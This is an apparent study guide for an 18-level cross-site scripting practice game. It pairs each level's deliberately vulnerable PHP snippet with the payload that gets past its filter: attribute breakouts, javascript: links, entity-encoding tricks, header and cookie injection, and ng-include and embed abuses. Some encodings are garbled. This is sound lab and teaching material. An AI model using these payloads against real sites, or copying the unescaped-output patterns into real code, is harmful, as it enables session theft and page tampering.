XSS Practice Summary (Level 1–18) This document serves as a reference guide for anyone practicing Cross-Site Scripting (XSS). It includes answers and detailed analysis for all 18 levels of the XSS game, helping learners understand various payloads and techniques. Some payloads use HTML entity encoding, such as single quotes (') or numeric character references like s, to bypass filters—e.g., javascript'&''#'115;script:alert().
<script>alert(1)</script>
$str = $_GET["name"]; echo "<h2 align=center>Welcome user".$str."</h2>";
$str = $_GET["keyword"]; echo "<h2 align=center>No results found for ".htmlspecialchars($str).".</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> //No entity <input type=submit name=submit value="Search"/> </form>
1"><script>alert(1)</script>//
"onclick="window.alert()
$str = $_GET["keyword"]; echo "<h2 align=center>No results found for ".htmlspecialchars($str).".</h2>"." <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=search/> </form>
'onclick='window.alert()
ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>No results found for ".htmlspecialchars($str).".</h2>".' <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=search/> </form>
<?php echo str_replace("world","Shanghai","Hello world!"); ?>
"onclick="window.alert()
$str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>No results found for ".htmlspecialchars($str).".</h2>".' <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=search/> </form>
"><a href="javascript:alert('a')">1</a>//
ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>No results found for ".htmlspecialchars($str).".</h2>".' <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=search/> </form>
1 "><a HREF="javascript:alert('a')">1</a>//
ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>No results found for ".htmlspecialchars($str).".</h2>".' <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=search/> </form>
"><scrscriptipt>alert(1)</scrscriptipt>//
ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo ' <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=Add friendly link/> </form> <?php echo '<BR><a href="'.$str7.'">Friendly Links</a>'; ?>
s is converted to unicode encoding: java'&''#'115;script:alert() c,r,i,p,t can all be converted into base64 encoding
if(false===strpos($str7,'http://')) { echo '<BR><a href="Is your link illegal? Is it?">Friendly Links</a>'; } else { echo '<BR><a href="'.$str7.'">Friendly Links</a>'; }
Find the first occurrence of "php" in a string: Return value:
Returns the first occurrence of a string in another string, or FALSE if the string is not found. Note: String positions start at 0, not 1.
<?php echo strpos("You love php, I love php too!","php"); ?>
javascri'&'#'x0070;t:alert(1)/*http://www.baidu.com*/
ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2>No results found for ".htmlspecialchars($str).".</h2>".' <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form>
&t_sort="onclick="alert()"type="text"
Links two statements, synonymous with and
$str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2>No results found for ".htmlspecialchars($str).".</h2>".' <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">
Referer:t_sort="type="text" onclick="alert(1)
$str11=$_SERVER['HTTP_USER_AGENT'];
User-Agent:t_sort="type="text" onclick="alert(1)
$str11=$_COOKIE["user"]; //Get the user value of the cookie
Cookie:user=t_sort="type="text" onclick="alert(1);
ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span>
The ng-include directive is used to include external HTML files. The included content will be included as children of the specified element. The value of the ng-include attribute can be an expression that returns a file name. By default, the included files need to be included under the same domain name.
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
$str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo .$str5.; <img src=level16.png> <?php echo "<h3 align=center>Payload length:".strlen($str5)."</h3>";
?keyword=test<img%0dsrc=1%0donerror=alert(1)>
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?arg01=a&arg02= onmouseover=alert(1)
"<?php ini_set("display_errors", 0); echo ""<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
?arg01=a&arg02=b%20onmouseout=alert(1)